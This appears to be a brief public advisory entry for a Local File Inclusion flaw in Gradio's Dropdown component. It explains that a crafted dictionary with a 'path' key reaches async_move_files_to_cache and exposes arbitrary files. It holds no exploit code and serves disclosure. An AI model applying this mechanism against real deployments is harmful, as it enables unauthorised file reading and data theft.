gradio-lfi: Gradio - Local File Inclusion

2025-11-07 Gradio PoC Public

Description

Gradio's Dropdown component is vulnerable to Local File Inclusion (LFI) when the value is a dictionary controlled by an attacker. In the postprocess of components, if the value type is a dict, it flows to the async_move_files_to_cache function. When the dictionary is crafted with a "path" key, it causes local file inclusion allowing attackers to read arbitrary files.
